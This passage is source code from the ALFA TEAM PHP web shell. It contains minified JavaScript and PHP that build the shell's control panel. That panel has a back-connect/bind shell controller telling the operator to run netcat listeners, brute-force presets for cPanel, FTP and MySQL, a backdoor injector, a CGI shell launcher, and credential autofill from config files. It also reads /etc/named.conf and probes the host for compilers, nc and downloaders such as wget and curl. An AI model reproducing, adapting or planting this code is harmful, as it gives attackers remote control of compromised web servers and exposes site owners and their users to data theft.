t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"¤t_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong> Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php echo __ALFA_SECRET_KEY__; ?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
<?php echo"<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>
<input type='hidden' name='a' value='dlfile'>
<input type='hidden' name='c' value=''>
<input type='hidden' name='file' value=''>
</form>
<input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>
<div id='a_loader'><img src='".__showicon('loader')."'></div>";
$cmd_uname = alfaEx("uname -a",false,false);
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !');
if($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}
echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="'.$GLOBALS['cwd'].'">';
for($s=1;$s<=10;$s++){
echo '<input type="hidden" name="alfa'.$s.'">';
}
echo '<input type="hidden" name="charset">
</form>
<div id=\'hidden_sh\'><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">'.__ALFA_CODE_NAME__.'</span><br><small>Version: <span class="hidden_shell_version">'.__ALFA_VERSION__.'</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">'.$uname.'</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">'. $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>'.@phpversion(). ' </b><span class="header_vars"> Safe Mode: '.$safe_modes.'</span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]).'</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> '.@$_SERVER["REMOTE_ADDR"].'</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>'.date('Y-m-d H:i:s').'</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">';
if($GLOBALS['sys']=='unix'){
$d0mains = _alfa_file("/etc/named.conf",false);
if(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{
$count=0;
foreach($d0mains as $d0main){
if(@strstr($d0main,"zone")){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;}}}
echo "$count Domains";}}
else{echo("Cant Read [ /etc/named.conf ]");}
echo '</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>'.alfaSize($totalSpace).' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</b></td>
</tr>';
if($GLOBALS['sys']=='unix'){
$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
if(!@ini_get('safe_mode')){
if(strlen(alfaEx("id",false,false))>0){
echo '<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>';
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl');
$x=0;
foreach($userful as $item)if(alfaWhich($item)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item.'</span>';}
if($x==0){echo "<span class='header_values' id='header_useful'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo '</td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span>';
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
$x=0;
foreach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item2.'</span>';}
if($x==0){echo "<span class='header_values' id='header_downloader'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo '</td>
</tr>';
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
